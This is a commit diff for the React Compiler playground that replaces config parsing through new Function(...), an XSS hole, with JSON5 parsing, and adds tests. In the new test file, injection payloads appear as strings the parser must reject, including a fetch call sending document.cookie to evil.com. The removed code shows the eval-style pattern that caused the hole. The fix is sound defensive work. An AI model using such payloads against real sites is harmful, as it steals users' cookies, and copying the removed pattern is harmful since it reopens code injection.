[compiler][playground] parse compiler configs using json5 (#36159)
Compiler config parsing is currently done with new Function(...) which is a XSS vulnerability. Replacing this with json parsing for safety reasons. Almost all compiler options (except for moduleTypeProvider) are json compatible, so this isn't a big change to capabilities. Previously created playground URLs with non-default configs may not be compatible with this change, but we should be able to get the correct config manually (by reading the JS version)
mofeiZ committed
Mar 30, 2026 at 13:04 UTC
2c2fd9d12c7159efef81e7ea6ec899943cf7ca33
7 files changed
+184
-45
compiler/apps/playground/__tests__/e2e/__snapshots__/page.spec.ts/default-config.txt
+2
-4
@@ -1,5 +1,3 @@
1
-import type { PluginOptions } from
2
-'babel-plugin-react-compiler/dist';
3
-({
1
+{
2
//compilationMode: "all"
5
-} satisfies PluginOptions);
\ No newline at end of file
3
+}
\ No newline at end of file
compiler/apps/playground/__tests__/e2e/page.spec.ts
+6
-6
@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
237
test('error is displayed when config has syntax error', async ({page}) => {
238
const store: Store = {
239
source: TEST_SOURCE,
240
- config: `compilationMode: `,
240
+ config: `{ compilationMode: }`,
241
showInternals: false,
242
};
243
const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
254
const output = text.join('');
255
256
// Remove hidden chars
257
- expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
257
+ expect(output.replace(/\s+/g, ' ')).toContain(
258
+ 'Unexpected failure when transforming configs',
259
+ );
260
});
261
262
test('error is displayed when config has validation error', async ({page}) => {
263
const store: Store = {
264
source: TEST_SOURCE,
263
- config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
264
-
265
-({
265
+ config: `{
266
compilationMode: "123"
267
-} satisfies PluginOptions);`,
267
+}`,
268
showInternals: false,
269
};
270
const hash = encodeStore(store);
compiler/apps/playground/__tests__/parseConfigOverrides.test.mjs
new
+157
@@ -0,0 +1,157 @@
1
+/**
2
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
3
+ *
4
+ * This source code is licensed under the MIT license found in the
5
+ * LICENSE file in the root directory of this source tree.
6
+ */
7
+
8
+import assert from 'node:assert';
9
+import {test, describe} from 'node:test';
10
+import JSON5 from 'json5';
11
+
12
+// Re-implement parseConfigOverrides here since the source uses TS imports
13
+// that can't be directly loaded by Node. This mirrors the logic in
14
+// compilation.ts exactly.
15
+function parseConfigOverrides(configOverrides) {
16
+ const trimmed = configOverrides.trim();
17
+ if (!trimmed) {
18
+ return {};
19
+ }
20
+ return JSON5.parse(trimmed);
21
+}
22
+
23
+describe('parseConfigOverrides', () => {
24
+ test('empty string returns empty object', () => {
25
+ assert.deepStrictEqual(parseConfigOverrides(''), {});
26
+ assert.deepStrictEqual(parseConfigOverrides(' '), {});
27
+ });
28
+
29
+ test('default config parses correctly', () => {
30
+ const config = `{
31
+ //compilationMode: "all"
32
+}`;
33
+ const result = parseConfigOverrides(config);
34
+ assert.deepStrictEqual(result, {});
35
+ });
36
+
37
+ test('compilationMode "all" parses correctly', () => {
38
+ const config = `{
39
+ compilationMode: "all"
40
+}`;
41
+ const result = parseConfigOverrides(config);
42
+ assert.deepStrictEqual(result, {compilationMode: 'all'});
43
+ });
44
+
45
+ test('config with single-line and block comments parses correctly', () => {
46
+ const config = `{
47
+ // This is a single-line comment
48
+ /* This is a block comment */
49
+ compilationMode: "all",
50
+}`;
51
+ const result = parseConfigOverrides(config);
52
+ assert.deepStrictEqual(result, {compilationMode: 'all'});
53
+ });
54
+
55
+ test('config with trailing commas parses correctly', () => {
56
+ const config = `{
57
+ compilationMode: "all",
58
+}`;
59
+ const result = parseConfigOverrides(config);
60
+ assert.deepStrictEqual(result, {compilationMode: 'all'});
61
+ });
62
+
63
+ test('nested environment options parse correctly', () => {
64
+ const config = `{
65
+ environment: {
66
+ validateRefAccessDuringRender: true,
67
+ },
68
+}`;
69
+ const result = parseConfigOverrides(config);
70
+ assert.deepStrictEqual(result, {
71
+ environment: {validateRefAccessDuringRender: true},
72
+ });
73
+ });
74
+
75
+ test('multiple options parse correctly', () => {
76
+ const config = `{
77
+ compilationMode: "all",
78
+ environment: {
79
+ validateRefAccessDuringRender: false,
80
+ },
81
+}`;
82
+ const result = parseConfigOverrides(config);
83
+ assert.deepStrictEqual(result, {
84
+ compilationMode: 'all',
85
+ environment: {validateRefAccessDuringRender: false},
86
+ });
87
+ });
88
+
89
+ test('rejects malicious IIFE injection', () => {
90
+ const config = `(function(){ document.title = "hacked"; return {}; })()`;
91
+ assert.throws(() => parseConfigOverrides(config));
92
+ });
93
+
94
+ test('rejects malicious comma operator injection', () => {
95
+ const config = `{
96
+ compilationMode: (alert("xss"), "all")
97
+}`;
98
+ assert.throws(() => parseConfigOverrides(config));
99
+ });
100
+
101
+ test('rejects function call in value', () => {
102
+ const config = `{
103
+ compilationMode: eval("all")
104
+}`;
105
+ assert.throws(() => parseConfigOverrides(config));
106
+ });
107
+
108
+ test('rejects variable references', () => {
109
+ const config = `{
110
+ compilationMode: someVar
111
+}`;
112
+ assert.throws(() => parseConfigOverrides(config));
113
+ });
114
+
115
+ test('rejects template literals', () => {
116
+ const config = `{
117
+ compilationMode: \`all\`
118
+}`;
119
+ assert.throws(() => parseConfigOverrides(config));
120
+ });
121
+
122
+ test('rejects constructor calls', () => {
123
+ const config = `{
124
+ compilationMode: new String("all")
125
+}`;
126
+ assert.throws(() => parseConfigOverrides(config));
127
+ });
128
+
129
+ test('rejects arbitrary JS code', () => {
130
+ const config = `fetch("https://evil.com?c=" + document.cookie)`;
131
+ assert.throws(() => parseConfigOverrides(config));
132
+ });
133
+
134
+ test('config with array values parses correctly', () => {
135
+ const config = `{
136
+ sources: ["src/a.ts", "src/b.ts"],
137
+}`;
138
+ const result = parseConfigOverrides(config);
139
+ assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
140
+ });
141
+
142
+ test('config with null values parses correctly', () => {
143
+ const config = `{
144
+ compilationMode: null,
145
+}`;
146
+ const result = parseConfigOverrides(config);
147
+ assert.deepStrictEqual(result, {compilationMode: null});
148
+ });
149
+
150
+ test('config with numeric values parses correctly', () => {
151
+ const config = `{
152
+ maxLevel: 42,
153
+}`;
154
+ const result = parseConfigOverrides(config);
155
+ assert.deepStrictEqual(result, {maxLevel: 42});
156
+ });
157
+});
compiler/apps/playground/components/Editor/ConfigEditor.tsx
+6
-21
@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
21
import {IconChevron} from '../Icons/IconChevron';
22
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
23
24
-// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
25
-import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
26
-
24
loader.config({monaco});
25
26
export default function ConfigEditor({
@@ -105,22 +102,10 @@ function ExpandedEditor({
102
_: editor.IStandaloneCodeEditor,
103
monaco: Monaco,
104
) => void = (_, monaco) => {
108
- // Add the babel-plugin-react-compiler type definitions to Monaco
109
- monaco.languages.typescript.typescriptDefaults.addExtraLib(
110
- //@ts-expect-error - compilerTypeDefs is a string
111
- compilerTypeDefs,
112
- 'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
113
- );
114
- monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
115
- target: monaco.languages.typescript.ScriptTarget.Latest,
116
- allowNonTsExtensions: true,
117
- moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
118
- module: monaco.languages.typescript.ModuleKind.ESNext,
119
- noEmit: true,
120
- strict: false,
121
- esModuleInterop: true,
122
- allowSyntheticDefaultImports: true,
123
- jsx: monaco.languages.typescript.JsxEmit.React,
105
+ // Enable comments in JSON for JSON5-style config
106
+ monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
107
+ allowComments: true,
108
+ trailingCommas: 'ignore',
109
});
110
};
111
@@ -157,8 +142,8 @@ function ExpandedEditor({
142
</div>
143
<div className="flex-1 border border-gray-300">
144
<MonacoEditor
160
- path={'config.ts'}
161
- language={'typescript'}
145
+ path={'config.json5'}
146
+ language={'json'}
147
value={store.config}
148
onMount={handleMount}
149
onChange={handleChange}
compiler/apps/playground/lib/compilation.ts
+10
-10
@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
25
type LoggerEvent,
26
} from 'babel-plugin-react-compiler';
27
import {transformFromAstSync} from '@babel/core';
28
+import JSON5 from 'json5';
29
import type {
30
CompilerOutput,
31
CompilerTransformOutput,
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
127
],
128
];
129
130
+export function parseConfigOverrides(configOverrides: string): any {
131
+ const trimmed = configOverrides.trim();
132
+ if (!trimmed) {
133
+ return {};
134
+ }
135
+ return JSON5.parse(trimmed);
136
+}
137
+
138
function parseOptions(
139
source: string,
140
mode: 'compiler' | 'linter',
@@ -156,16 +165,7 @@ function parseOptions(
165
});
166
167
// Parse config overrides from config editor
159
- let configOverrideOptions: any = {};
160
- const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
161
- if (configOverrides.trim()) {
162
- if (configMatch && configMatch[1]) {
163
- const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
164
- configOverrideOptions = new Function(`return (${configString})`)();
165
- } else {
166
- throw new Error('Invalid override format');
167
- }
168
- }
168
+ const configOverrideOptions = parseConfigOverrides(configOverrides);
169
170
const opts: PluginOptions = parsePluginOptions({
171
...parsedPragmaOptions,
compiler/apps/playground/lib/defaultStore.ts
+2
-4
@@ -14,11 +14,9 @@ export default function MyApp() {
14
`;
15
16
export const defaultConfig = `\
17
-import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
18
-
19
-({
17
+{
18
//compilationMode: "all"
21
-} satisfies PluginOptions);`;
19
+}`;
20
21
export const defaultStore: Store = {
22
source: index,
compiler/apps/playground/package.json
+1
@@ -32,6 +32,7 @@
32
"hermes-eslint": "^0.25.0",
33
"hermes-parser": "^0.25.0",
34
"invariant": "^2.2.4",
35
+ "json5": "^2.2.3",
36
"lru-cache": "^11.2.2",
37
"lz-string": "^1.5.0",
38
"monaco-editor": "^0.52.0",